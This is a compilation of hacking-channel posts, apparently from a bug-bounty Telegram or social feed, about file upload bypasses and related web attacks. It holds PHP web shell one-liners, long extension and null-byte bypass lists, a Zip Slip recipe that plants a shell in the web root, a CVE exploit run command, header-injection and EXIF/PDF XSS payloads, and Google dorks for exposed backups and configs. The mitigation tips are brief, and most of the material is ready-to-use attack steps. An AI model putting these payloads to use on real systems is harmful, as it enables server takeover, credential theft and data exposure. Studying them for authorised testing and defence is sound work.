🧨 File Upload Bypass Techniques
(Part 3 of file upload)

Uploading a web shell isn’t dead , just harder. Here are smart techniques to bypass file upload restrictions and exploit insecure file handling on the backend. 💻🕳️

🔎 1. Content-Type Bypass
Fake your file type with headers like:

Content-Type: image/png

Then upload a .php or .jsp payload.
🔥 Works if backend trusts headers blindly.

🧩 2. Double Extension Trick

shell.php.jpg  
shell.asp;.jpg  
shell.php%00.jpg  

Some servers check only the last extension or fail to handle null bytes properly.

📛 3. File Name Obfuscation
Try encoding or using special characters:

shell.pHp  
shell.ph%70  

🧠 Some filters are case-sensitive or don’t decode %XX values.

📂 4. MIME Sniffing Abuse
Upload as .txt or .jpg — but insert a magic header for interpretable content.
e.g., PHP payload inside a .jpg with this line on top:

<?php system($_GET['cmd']); ?>

💥 If executed or served unsafely (e.g., Apache misconfig), it may run.

🚫 5. Extension Whitelist Bypass
Try using allowed extensions like:

.htaccess  
.shtm  
.svg  
.phtml  
.asp  

Some of these are executable on certain stacks (Apache, IIS, NGINX).

🧬 6. Polyglot Payloads
Build files that are both valid images and code:
• Image with PHP code appended
• PDF with JS payload
• GIF89a header + PHP backdoor

💣 Works if server validates image by magic bytes only.

🚪 7. Upload to External Storage (S3, Cloudinary)
Sometimes upload is secure, but URL is public and executable.
👉 Check for direct-access URLs, bucket misconfigs, or SSRF chains.

🔐 Pro Tip:
Always test for where the file is stored AND how it is handled or rendered.

💻 Want more real-world exploitation tricks like this?
📢 Join the crew: 👉 @cybersecplayground

#FileUpload #FileUploadBypass #BugBountyTips #WebSecurity #CyberSecurity #HackingTools #InfoSec #Pentest #SecurityTesting #EthicalHacking #Payloads #CybersecPlayground #infosec #bugbountytips #cybersec

📦 All Our Tools, Payloads & Learning Material — Now on GitHub! 💻

Want to access all the scripts, practice labs, payload lists, and resources we share on the channel?
We’ve organized everything in one place for you:

👉 Follow & give star us on GitHub:
🔗 github.com/cybersecplayground

🧠 You’ll find:
• 📂 Payload collections
• 🛠️ Automation tools & fuzzing
• 💣 Real-world bug bounty techniques
• 📝 Markdown posts for educational use


📢 Help us grow and contribute back — follow + star the repo if it helped you!
Let’s build a better hacking toolkit, together. 💪
Dont forget, we’re just getting started 🤜🤛

#GitHub #BugBountyTools #CyberSecurity #InfoSec #HackingResources #Payloads #EthicalHacking #OpenSource #CTFtools #CybersecPlayground #FollowUs

🔓 File Upload Bypass – Ultimate Tricklist for Hackers
(Part 4 of file upload)

Many apps restrict certain file types to prevent RCE or LFI. But clever tricks can bypass blacklists & whitelists. Let's break it down 🧠👇

🔥 1. Blacklisting Bypass – Using Alternative Extensions

If .php is blocked, try:

.php, .php2, .php3, .php4, .php5, .php7, .phtml, .phar, .pht, .pgif, .shtml, .htaccess, .inc

For other languages:

ASP:

.asp, .aspx, .asa, .cshtml

JSP:

 .jsp, .jspx

Coldfusion:

 .cfm, .cfc

Perl:

 .pl, .cgi

🌀 Also try random capitalization:

.pHp, .pHP5, .PhAr

⚠️ 2. Whitelisting Bypass – Tricks That Confuse Filters

If .php is allowed only when disguised, try:

file.png.php
file.php%20
file.php%00
file.php%0a
file.php/
file.php.
file.php....
file.png.jpg.php
file.php#.png
file.php%00.png
file.phpJunk123png

📌 Pro Tip: Some filters only validate the extension before %, #, or null-byte (%00). Use it to your advantage!

📁 Goal: Execute your payload on the server by bypassing faulty validation logic in the upload function.

🚀 Used with web shells or command injection for remote code execution (RCE)!

💡 Share with your hunting partner. share to someone who still thinks .php alone is enough 😏

🔐 Join @cybersecplayground for more real-world web hacking tactics.

#fileupload #bugbounty #cybersecurity #pentest #infosec #cybersecplayground #websecurity #rce #bypass #webhacking #tricks

Here's a comprehensive list of 100+ PHP file upload payloads, covering various bypass techniques like null bytes, encoding, special characters, and more:

🔗 https://github.com/cybersecplayground/bu...

This list covers:

🔸 Case variations
🔸Multiple/different extensions
🔸Null byte injections (%00)
🔸Special characters (%, #, ;, :, , /)
🔸Whitespace variations (space, %20)
🔸Newline injections (%0a, %0d)
🔸Multiple dots
🔸Fake extensions
🔸Various junk data appendages
🔸Different encoding schemes
🔸Common alternative PHP extensions (php3, php4, etc.)

All payloads are focused solely on PHP file upload bypass techniques. You can use this list for testing file upload functionality in web applications.

🚨 Critical NTLM Reflection SMB Flaw PoC (CVE-2025-33073) 🚨

🔍 Vulnerability:
Active exploitation PoC released for an NTLM reflection vulnerability in SMB protocol allowing credential theft and man-in-the-middle attacks.

💥 Proof of Concept:

# Clone the exploit:
git clone https://github.com/mverschu/CVE-2025-33073
# Execute with admin privileges
python exploit.py -t <target_IP>

📌 Impact:
✔️ NTLM credential interception
✔️ SMB relay attacks
✔️ Domain privilege escalation

🛡 Mitigation:

⛏️ Disable NTLM authentication where possible
⛏️ Enable SMB signing
⛏️ Apply vendor patches immediately

🔗 Resources:
GitHub PoC |
Microsoft Security Guidance

🔔 Want more alerts? Join @cybersecplayground for:
✅ Daily exploit PoCs
✅ Exclusive bug bounty tips
✅ Private hacking methodologies

📢 Share with #RedTeam & #BlueTeam!
#BugBounty #CyberSecurity #Hacking #CVE #NTLM #SMB #ExploitDev

🔍 Value Fuzzing with FFUF
Discover Hidden Parameters!
Looking to uncover hidden parameters, test API endpoints, or find unexpected values in web applications? ffuf is your go-to tool for fast and flexible fuzzing!

🚀 Basic Value Fuzzing Command

ffuf -u "https://example.com/api?param=FUZZ" -w /path/to/wordlist.txt -fs 100

👉🏻 -u: Target URL with FUZZ placeholder
👉🏻 -w: Wordlist for fuzzing values
👉🏻 -fs 100: Filter out responses with size 100 (adjust as needed)

🔥 Advanced Usage

1. Multiple Parameters Fuzzing

ffuf -u "https://example.com/api?param1=FUZZ&param2=FUZ2Z" -w wordlist1.txt:FUZZ -w wordlist2.txt:FUZ2Z

2. POST Request Fuzzing

ffuf -X POST -u "https://example.com/login" -d 'username=admin&password=FUZZ' -w passwords.txt

3. Using Custom Matchers & Filters

ffuf -u "https://example.com/search?q=FUZZ" -w params.txt -mc 200 -ms "Search results found"

👉🏻 -mc 200: Match HTTP status code
👉🏻 -ms: Match response content

4. Rate Limiting & Delays

ffuf -u "https://example.com/FUZZ" -w dirs.txt -p "0.5" -t 20

👉🏻 -p: Delay between requests (seconds)
👉🏻 -t: Threads (default: 40)

📌 Pro Tips
✅ Use -recursion to auto-fuzz discovered paths
✅ Combine with -H "Header: Value" for auth/cookie-based testing
✅ Try -e .php,.bak,.json for common file extensions

🔗 Get FFUF: https://github.com/ffuf/ffuf

🔐 Join @cybersecplayground for more real-world web hacking tactics.
Have you found anything interesting with ffuf? Share your findings below! 👇

#BugBounty #WebSecurity #PenTesting #FFUF #Fuzzing #CyberSecurity

🔍 Analyze Malware in Real-Time with ANY.RUN!
Looking for a powerful, interactive malware analysis sandbox? ANY.RUN lets you detonate and analyze suspicious files, URLs, and emails in a secure environment—with real-time results!

🚀 Why ANY.RUN?
✅ Real-Time Analysis – Watch malware execute live
✅ Interactive Debugging – Pause, rewind, and inspect processes
✅ Cloud-Based – No setup required, works in your browser
✅ Threat Intelligence – Auto-extracts IOCs (IPs, Domains, Hashes)
✅ Team Collaboration – Share analysis reports with your security team

🔥 Key Features
👉🏻 Detects ransomware, trojans, spyware, and more
👉🏻 Supports Windows & Linux environments
👉🏻 Integrates with VirusTotal, Hybrid Analysis, and other threat feeds
👉🏻 Generates detailed reports (PDF, JSON, STIX)

🛠 Sample Use Cases
⚡️Incident Response – Quickly analyze phishing attachments
⚡️Threat Hunting – Investigate suspicious network traffic
⚡️Malware Research – Study behavior of new strains

Dont Forget to use tools like any.run to not BEING Fucked , and hacked back by another Hacker 😁

Try ANY.RUN for Free: https://any.run/
Have you used ANY.RUN before?
Share your experience below! 👇

#MalwareAnalysis #CyberSecurity #ThreatHunting #IncidentResponse #ANYRUN #InfoSec

🧠 Zip Slip → Arbitrary File Write Exploit

Ever heard of one ZIP file owning the whole server? Let me show you how 👇

🔍 What is Zip Slip?

It’s a vulnerability that occurs when:
1️⃣ A web app extracts user-uploaded .zip archives
2️⃣ It doesn’t sanitize the internal file paths
3️⃣ The .zip contains files like:

../../../../etc/passwd
../../../../var/www/html/shell.php

Result? 💥
➡️ Overwrite system files,
➡️ Drop backdoors,
➡️ Gain RCE,
➡️ Or crash the app with DoS.

⚠️ Real-World Impact

💎 Web shell planted in a public directory
💎 Defacing websites
💎 Privilege escalation or full server takeover

📁 How to Test
Create a .zip archive with:

mkdir test && cd test
echo "<?php system(\$_GET['cmd']); ?>" > ../../../../var/www/html/shell.php
zip -r payload.zip *

Upload to the app. If it extracts without sanitization → RCE 🎯

🛡 Mitigation
✅ Sanitize extracted file paths
✅ Use secure zip libraries (e.g., Java’s ZipEntry.normalize())
✅ Deny path traversal (../) in filenames

💡 Stay sharp: Not all uploads are what they seem. Even a .zip can be lethal.

🔐 Follow @cybersecplayground for more deep hacking insights.

#ZipSlip #bugbounty #fileupload #infosec #RCE #cybersecurity #websecurity #pentest #webhacking #cybersecplayground

🚨 Alert: CVE-2025-48952 – Password Bypass in NetAlertX 🚨
Due to loose comparison in PHP, attackers can bypass authentication without knowing the correct password!

🔥 Vulnerability Type:
Weak equality check (== instead of ===) allows login bypass using special inputs like 0, false, or specific crafted passwords.

🔓 Impact:
🔹 Unauthenticated access to the web interface
🔹 Possible full system control depending on configuration

💥 PoC & Details:
🔗 GitHub Advisory
💣 Exploit Code Included – Ready to test!

🛰 Attack Surface Scan

🕵️‍♂️ Hunter Dork

product.name="NetAlertX"

🌐 Hunter Search

🧠 Why It Matters:
Loose type comparison in PHP can be fatal. Always use === for secure checks!

📢 Stay informed with @cybersecplayground — we drop daily 0days, PoCs & hunting tips!

#CVE2025_48952 #NetAlertX #bugbounty #infosec #php #passwordbypass #hunterhow #cybersecplayground #OSINT #RCE #authbypass

🚨 Rate Limiting Bypass = Account Takeover Risk 🚨

How to Test for Critical Flaws:
1️⃣ Spam Requests - Burp Intruder/FFuf to send rapid-fire login/OTP attempts
2️⃣ Observe Defenses - No delays/blocks? Bruteforce becomes trivial
3️⃣ Analyze Patterns - Timing variations & response changes reveal weaknesses

Why It Matters:
🔓 Missing rate limits = Open door for credential stuffing/OTP bypass
💸 Low-hanging fruit for bug bounty hunters

💎 Pro Tip: Always test both:
• Standard credential attacks (admin/admin)
• OTP systems (0000 → 9999 enumeration)

📢 Stay informed with @cybersecplayground — we drop daily 0days, PoCs & hunting tips

#BugBounty #WebSecurity #APISecurity #HackerTips
#RateLimitFail #AccountTakeover

✅ https://medium.com/@raxomara/bypassing-rate-limits-all-known-techniques-25891bb5ca59

🧠 HTTP Header Injection → Redirect Abuse & Response Splitting

Let’s break down a dangerous bug that’s still alive in many web apps 👇

🔍 Scenario:
An app reflects unsanitized input in HTTP response headers, like:

Location: https://example.com/welcome?user=$input

🧨 Exploitation Steps:

1️⃣ Attacker Input:

test\nSet-Cookie: admin=true

2️⃣ Server Response:

HTTP/1.1 302 Found  
Location: https://example.com/welcome?user=test  
Set-Cookie: admin=true

✅ Result:
Attacker injects new headers (e.g., cookies), causing:

🟡 Cache poisoning
🟡 Privilege escalation
🟡 Authentication bypass
🟡 Redirect to phishing pages

🔥 Key Techniques:

✅ Use \n or %0a to break headers
✅ Abuse Location, Referer, Set-Cookie, or custom headers
✅ Combine with open redirects for phishing or SSO bypass

💡 Defensive Tip:
Always validate and encode user input before inserting into HTTP headers!

🎯 Stay ahead of the game — follow @cybersecplayground for daily exploits, CVEs, and bug bounty tactics.

#bugbounty #headerinjection #owasp #authbypass #cachepoisoning #websecurity #cybersecplayground #infosec

🧠 Linux for Hackers – Day 1
📍 Introduction & Why Linux Matters in Hacking

Linux is the backbone of most hacking environments. From servers to tools like Kali, Parrot, or BlackArch — it’s built on Linux. If you're serious about cybersecurity, you must master the command line.

🔹 Why Learn Linux?

🔸 90% of hacking tools run natively on Linux
🔸 Customizable environments
🔸 Script everything with Bash or Python
🔸 Essential for CTFs, real-world pentests, bug bounties, and red teaming

🔹 Today’s Task:

🔸 Install Kali Linux (VM or bare metal)
🔸 Open a terminal and type: whoami, uname -a, and pwd
🔸 Understand what each command does.

🛠 Commands to Know:

whoami        # Displays current user  
uname -a      # System info (kernel, OS, etc.)  
pwd           # Shows current working directory  

Start simple — the terminal is your new weapon. 🧨

🔗 Follow along daily and level up with us!

👉 Join @cybersecplayground for exclusive hacking content, scripts, and tools.

💬 Like + Share if you’re ready for this journey.

#Linux_for_Hackers
#linux #hacking #cybersecurity #bugbounty #infosec

🧠 Linux for Hackers – Day 2
📍 Basic File Navigation in Linux

Before exploiting systems, you need to navigate them blindfolded. Today we focus on mastering file system movement, listing, and directory structure.

🔹 Essential Commands to Practice:

ls        # List directory contents
cd        # Change directory
pwd       # Print current directory
clear     # Clear the terminal
tree      # Visualize directory structure
clear     # Clear terminal screen
history   # View command history

🔹 Try This:

cd /      
ls
cd home
pwd
cd ~ 

🔸 Bonus Tip:
Use ls -la to see hidden files and their permissions. These often hold credentials or config files.

🧠 Learn the layout of Linux:

/etc: configs
/var: logs
/home: user files
/tmp: temporary files (often abused by hackers)
/root: superuser's home

🔍 Understand where attackers plant files, and how defenders can detect them.

📡 Follow daily lessons on @cybersecplayground
🧠 Learn real skills that apply to hacking, CTFs, red teaming & more.

#Linux_for_Hackers
#linux #hacking #terminal #infosec #cybersecurity #bugbounty

🕵️‍♂️ Google Dorks for Recon & Sensitive Info Disclosure

Quickly find exposed admin panels, backups, configs, and juicy files using these crafted dorks 🔥

🔍 Top Dorks to Try:

intitle:"index of" inurl:ftp intext:admin  
intitle:"index of" "system/config"  
intitle:"index of" "admin/config"  
"index of" "/config/sql"  
intitle:"index of" "api/admin"  
intitle:"index of" "tinyfilemanager.php"  
intitle:"index of" "test/storage/framework/sessions/"  
intitle:"index of" "symfony/config"  
intitle:"index of" "graphql/subscription"  
intitle:"index of" "/admin/backup"  
intitle:"index of" "admin/json"  
intitle:"index of" "/admin_backup"  
intitle:"index of" "git-jira-log"  
intitle:"index of" db.frm  
intitle:"index of" "/db_backups/"  
intitle:"index of" "common.crt" OR "ca.crt"  
intitle:"index of" "global.asa"  
intitle:"index of" "proxy.pac" OR "proxy.pac.bak"  
intitle:"index of" "MySQL-Router"  
intitle:"index of" "owncloud/config/*"

📌 Use with care — many of these lead to sensitive systems (e.g., FTP panels, backup folders, configs, keys) if indexing is enabled.

💻 Tools to Combine:

🔗 Google Search
🔗 Faisal Ahmed's Dork Index
🔗 BullsEye Google Dork Scanner

⚠️ Stay ethical, and only use for authorized testing! 🛡

Follow @cybersecplayground for more recon tips, dorks, scripts, and offensive security tricks 👇

#recon #bugbountytips #googlehacking #osint #bugbounty #cybersecplayground

🧠 Linux for Hackers – Day 3
📍 Understanding File Permissions & Attributes

As a hacker, knowing how Linux permissions work is critical. Why? Because privilege escalation, file manipulation, and bypassing restrictions all revolve around permission misconfigurations.

🔐 Linux File Permission Format

Use ls -l and you'll see something like:

-rwxr-xr--  1 user group 1337 Jan 1  exploit.sh

Breakdown:

- → file type (- = file, d = directory, l = symlink)
rwx → owner's permissions (read/write/execute)
r-x → group's permissions
r-- → others' permissions

Legend:

r = read
w = write
x = execute

🧠 A file with 777 means anyone can do anything — a dream for attackers.

🎯 Today's Commands:

ls -l             # View file permissions
chmod +x file     # Add execute permission
chmod 755 file    # Set specific permissions
chown user:group  # Change file owner/group

🔓 Try creating a script and modifying its access:

echo 'echo hacked' > test.sh
chmod +x test.sh
./test.sh

Then change its ownership and permissions. Think like an attacker. If you found a script writable by others — could you hijack it?

🚩 Real-World Example:

If /etc/passwd or /etc/shadow is writable, root access is possible.
Watch for misconfigured cron jobs or scripts running with root perms but owned by standard users.

📡 Learn these fundamentals daily on @cybersecplayground
🔗 Practical Linux skills = better hacking, better exploits.

#Linux_for_Hackers
#linux #permissions #hacking #bugbounty #ctf #infosec

📁 File Upload XSS – Beyond SVGs

Attackers are getting creative by going beyond basic payloads. Here's how to achieve stored XSS using PDF and image metadata 👇

🔹 1. PDF with Embedded JavaScript

You can embed a malicious link inside a PDF and trigger XSS in certain PDF viewers like Foxit Reader or older Adobe Reader versions:

// Create a PDF that triggers XSS on open
var doc = new jsPDF();
doc.text(20, 20, 'Legit Document');
doc.addPage();
doc.addLink(0, 0, 100, 100, "javascript:alert(document.domain)");
doc.save('invoice.pdf');

📤 Upload this crafted PDF to features like resume uploads or document verification portals.

⚠️ Test in offline environments first. Modern browsers/viewers block this, but older clients may still be vulnerable.

🔹 2. XSS via EXIF Metadata (Image Upload Bypass)
Target applications that read and render image metadata without sanitizing it.

💣 Payload:

exiftool -Comment='"><img src=x onerror=alert(1)>' innocent.jpg

Then upload the image.
✅ If the platform displays EXIF comments in a gallery or report → XSS triggered.

🔐 Defense Tips:

🛡Sanitize metadata and user-supplied EXIF fields
🛡Disallow javascript: links in PDFs
🛡Strip scripts from uploaded documents and images


💡 Keep exploring file upload abuse techniques – many web apps blindly trust file metadata and document structure.

🛰 Follow us at @cybersecplayground for advanced bug bounty tips, bypasses, and CVE tactics.


#bugbounty #xss #fileupload #infosec #cybersecplayground #javascript #exifxss #pentest

🧠 Linux for Hackers – Day 4
📍 Users, Groups, and Privilege Escalation Basics

To understand privilege escalation, you first need to understand how users and groups work in Linux.

👤 What is a User?
A user is any identity that can log in or execute processes. This includes:

- Normal users (UID > 1000)
- System users (UID < 1000, no login shell)
- Root user → UID 0 = full control (God Mode)

🔐 What is a Group?
A group is a collection of users that share certain access rights.

Each file or directory is associated with:
- An owner (user)
- A group
- And others

🔍 Check current user info:

whoami          # Show current username
id              # Show UID, GID, and group memberships
groups          # List all groups the user is part of

🔐 Privileged Group Targets:

sudo: Can run commands as root
docker: Container breakout = root
adm: Access to logs (may leak secrets)
lxd: Can create root containers

⚠️ Privilege Escalation Idea:

If you find a user who’s part of the sudo group or can run certain commands without a password, you might escalate privileges:

sudo -l

This shows what commands the current user can run with sudo.

💣 If you see:

(ALL : ALL) NOPASSWD: ALL

You have root access without a password. Game over.

🧪 Try This:

id
groups
sudo -l

⚡️ Think : If you get access to a low-privilege user, what groups are they in? Can you escalate using them?

📡 Follow this course daily on @cybersecplayground
💥 Next, we’ll dive into package managers and how attackers abuse them.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam